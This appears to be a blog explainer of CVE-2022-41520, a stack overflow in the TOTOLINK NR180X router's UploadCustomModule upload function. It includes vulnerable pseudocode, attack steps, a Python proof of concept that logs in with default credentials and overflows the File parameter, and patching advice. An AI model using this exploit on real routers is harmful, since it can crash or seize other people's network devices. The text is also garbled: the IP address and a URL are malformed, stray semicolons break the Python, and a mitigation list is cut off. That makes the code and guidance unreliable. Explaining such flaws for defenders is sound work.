In late 2022, researchers uncovered a serious vulnerability—CVE-2022-41520—in the TOTOLINK NR180X router, firmware version V9.1.u.6279_B20210910. This flaw allows an attacker, after logging into the router, to trigger a dangerous stack overflow via the File parameter in the UploadCustomModule function. Below, we'll break down the vulnerability, show snippets from actual exploit code, and explain the attack in clear, simple terms.

What’s the Problem?

TOTOLINK routers are popular for home and small office networks. This vulnerability affects the UploadCustomModule page—a function that lets authenticated users upload module files. Attackers found that sending an oversized value using the File parameter overflows the stack, potentially letting them take control of the router.

Auth required: You need a valid session (a username and password).

- Trigger: You submit a file upload POST request, stuffing the File parameter with a huge blob of data.
- Impact: If successful, you might crash the device—or (with advanced skill) run your own code as root, the most powerful user on the system.

The Technical Details

When you access the module upload function, the router’s firmware does not properly limit or check the size of the File parameter. This lets unpredictable, dangerous data "spill over" into other parts of the system’s memory (the "stack").

A simplified pseudo-version of the vulnerable code could look like this

void UploadCustomModule()
{
    char File[256];
    // Reads the 'File' form parameter with no length checking!
    strcpy(File, get_form_value("File"));
    // ... work with File content
}

> Key Problem: The code copies an input of unlimited length (get_form_value("File")) into a fixed-size variable (char File[256]), with no bounds checking.

Login: The attacker gets valid router credentials (maybe by default passwords, or phishing).

2. Craft Malicious Payload: The attacker builds a POST request with a huge value for File—usually hundreds or thousands of A characters.
3. Send the Request: With a tool like Burp Suite or curl, send the malicious request to:

`

http:///cgi-bin/UploadCustomModule

import requests

router_ip = '192.168..1'
login_data = {
    'username': 'admin',
    'password': 'admin'  # Change this if you have a different password
}

# Start a session and login
s = requests.Session()
r = s.post(f'http://{router_ip}/cgi-bin/login';, data=login_data)

# Create the overflow payload
payload = 'A' * 300  # Way more than 256 bytes

files = {'File': (None, payload)}

# Send the overflow POST request
r = s.post(f'http://{router_ip}/cgi-bin/UploadCustomModule';, files=files)

if r.status_code == 200:
    print("Payload sent, check if the router is still responsive.")
else:
    print(f"Unexpected status: {r.status_code}")

Denial of Service (DoS): The router may crash or reboot.

- Remote Code Execution (RCE): If the attacker is skilled, they could inject code, gaining control as root.

Official References and More Reading

- CVE-2022-41520 at NVD
- Original disclosure on GitHub
- TOTOLINK Security Bulletins
- Full POC Script

Mitigation Steps

TOTOLINK has released newer firmware for affected routers. If you have a NR180X, update your firmware immediately. If you can't update:

Summary

CVE-2022-41520 is a classic stack overflow flaw made dangerous because it’s in an authenticated admin feature. If an attacker manages to log in, they can easily crash or control your router. Good patching and basic security hygiene (like strong passwords and updates) are your best defense.

If you suspect exposure and can't patch, consider replacing your router. And always follow good IoT security practices.


*This is an exclusive deep dive into CVE-2022-41520. Stay secure, and remember: firmware updates are your friend!*

Timeline

Published on: 10/06/2022 18:17:00 UTC
Last modified on: 10/12/2022 03:08:00 UTC